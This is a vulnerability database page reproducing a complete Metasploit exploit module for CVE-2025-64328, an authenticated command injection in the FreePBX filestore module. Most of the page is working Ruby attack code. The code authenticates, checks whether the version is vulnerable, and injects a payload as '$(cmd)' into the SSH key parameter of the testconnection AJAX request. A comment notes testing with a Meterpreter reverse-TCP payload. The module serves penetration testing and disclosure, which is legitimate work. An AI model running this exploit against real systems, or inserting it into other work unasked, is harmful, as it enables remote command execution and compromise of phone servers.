Lucene search
K

FreePBX filestore authenticated command injection

🗓️ 13 Mar 2026 18:57:43Reported by Cory Billington, Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 185 Views

Authenticated command injection in FreePBX filestore lets an attacker run commands via SSH key path input.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::FreePBX
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX filestore authenticated command injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the
          FreePBX filestore module. The filestore module allows administrators to configure remote file
          storage backends (SSH, FTP, etc.) for backup and file management purposes.

          The vulnerability exists in the SSH driver's testconnection functionality, specifically in the
          check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.
          The function accepts user-controlled input for the SSH key path parameter, which is then passed
          unsanitized to exec() calls when generating SSH keys.

          The vulnerable code executes commands such as:
          exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");

          By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an
          authenticated user can execute arbitrary commands on the underlying system with the privileges of
          the web server process (typically the asterisk user).

          This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in
          17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that
          has access to the filestore module. The user must be in the "Filestore" group (administrator or
          low-privilege user).

          Note: Due to the vulnerable code structure, the injected command may be executed multiple times,
          potentially resulting in multiple Meterpreter sessions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Cory Billington',                            # Vulnerability discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-64328'],
          ['GHSA', 'vm9p-46mv-5xvw', 'FreePBX/security-reporting'],
          ['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/']
        ],
        'Platform' => %w[unix linux],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-11-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']),
        OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']),
        OptString.new('PASSWORD', [true, 'FreePBX admin password', ''])
      ]
    )
  end

  class AuthenticationError < StandardError; end
  class ConnectionError < StandardError; end

  def check
    data = freepbx_get_login_page_data
    unless data[:detected]
      vprint_status('Target does not appear to be FreePBX')
      return CheckCode::Safe('Not FreePBX')
    end

    begin
      cookie = authenticate
    rescue AuthenticationError
      return CheckCode::Detected('Invalid credentials')
    rescue ConnectionError
      return CheckCode::Safe('Not FreePBX')
    end

    version = get_filestore_version_cached(cookie)
    return CheckCode::Detected('Filestore module version could not be determined') unless version

    version_obj = Rex::Version.new(version)
    return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
    return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')

    CheckCode::Appears("Filestore module vulnerable (version #{version})")
  end

  def exploit
    cookie = authenticate
    get_filestore_version_cached(cookie)
    execute_command(payload.encoded, cookie)
  rescue AuthenticationError
    fail_with(Failure::NoAccess, 'Invalid credentials')
  rescue ConnectionError
    fail_with(Failure::Unknown, 'Connection error')
  end

  def authenticate
    data = freepbx_get_login_page_data
    raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected]

    cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
    raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed
    raise ConnectionError, 'Connection error' if cookie.nil?

    cookie
  end

  def get_filestore_version_cached(cookie)
    return @filestore_version if @filestore_version

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
      'cookie' => cookie,
      'headers' => { 'Referer' => freepbx_referer },
      'vars_get' => {
        'display' => 'filestore'
      }
    )

    return nil unless res&.code == 200

    match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
    return nil unless match

    version = match[1]
    vprint_status("Filestore module version: #{version}")
    @filestore_version = version
    version
  end

  def execute_command(cmd, cookie)
    fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'cookie' => cookie,
      'headers' => {
        'Referer' => freepbx_referer
      },
      'vars_get' => {
        'module' => 'filestore',
        'command' => 'testconnection',
        'driver' => 'SSH'
      },
      'vars_post' => {
        'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
        'port' => rand(1024..65535).to_s,
        'user' => Rex::Text.rand_text_alphanumeric(8),
        'key' => "$(#{cmd})",
        'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jun 2026 19:04Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.17.2
CVSS 48.6
EPSS0.75413
SSVC
185